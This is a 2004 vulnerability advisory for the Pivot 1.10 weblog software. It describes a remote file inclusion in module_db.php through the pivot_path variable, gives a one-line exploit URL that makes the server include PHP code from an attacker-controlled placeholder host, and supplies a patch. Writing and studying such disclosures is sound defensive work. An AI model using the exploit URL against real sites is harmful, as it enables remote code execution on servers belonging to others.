pivot1.1.0SoundwaveAdv.txt

`Pivot 1.10 Soundwave - Remote Code Execution  
--------------------------------------------  
loofus - 0x90.org  
  
Greets:  
-------  
Downbload, nummish, peace, war-cow & the rest of 0x90.org  
  
Description:  
------------  
Pivot is a tool to create weblogs, without the need of a database. Pivot is  
easy to setup, easy to maintain and even easier to work with. All data is  
stored using flat files. MySQL or other databases are not required, just  
plain PHP.  
  
Vulnerability:  
--------------  
The vulnerability is a remote file inclusion (hmm been seeing too many of  
these lately). Anywas, the vulnerability lies within a class file called  
module_db.php which is accessible individually. By supplying a malicious  
path variable the attack, is able to include any file he/she wishes and is  
able to include remote php code allowing local system access as whatever  
user PHP is runs scripts as most likely www-data.  
  
--- module_db.php ---  
// for now, we'll just use the xml / flat-file module..  
include_once $pivot_path."modules/module_db_xml.php";  
  
class db {  
  
--- module_db.php ---  
  
No check is done on module_db.php as it is assumed that noone will actually  
individually visit this file as it contains a class interface. The idea  
behind this is to include this file somewhere else within the code execution  
so that $pivot_path is properly set. However if register_globals is set to   
on within php.ini the attacker is able to hijack the variable $pivot_path  
and point it to somewhere else ("http://xxxxx/includes/module_db_xml.php").  
  
Exploitation:  
-------------  
http://xxxxx/pivot/modules/module_db.php?pivot_path=http://xxxxxx  
  
Fix:  
----  
--- module_db.php Wed Feb 11 16:29:04 2004  
+++ module_db.phpfix Fri May 28 22:36:07 2004  
@@ -10,6 +10,10 @@  
// Patch to fix remote include - loofus (0x90)  
// ---------------------------------------------------------------------------  
  
+/* Make sure user cannot include remote files */  
+if(isset($_GET['pivot_path']) || isset($_POST['pivot_path']) ||  
isset($_COOKIE['pivot_path']))  
+ die("No remote include for you!\n");  
+  
// for now, we'll just use the xml / flat-file module..  
include_once $pivot_path."modules/module_db_xml.php";  
`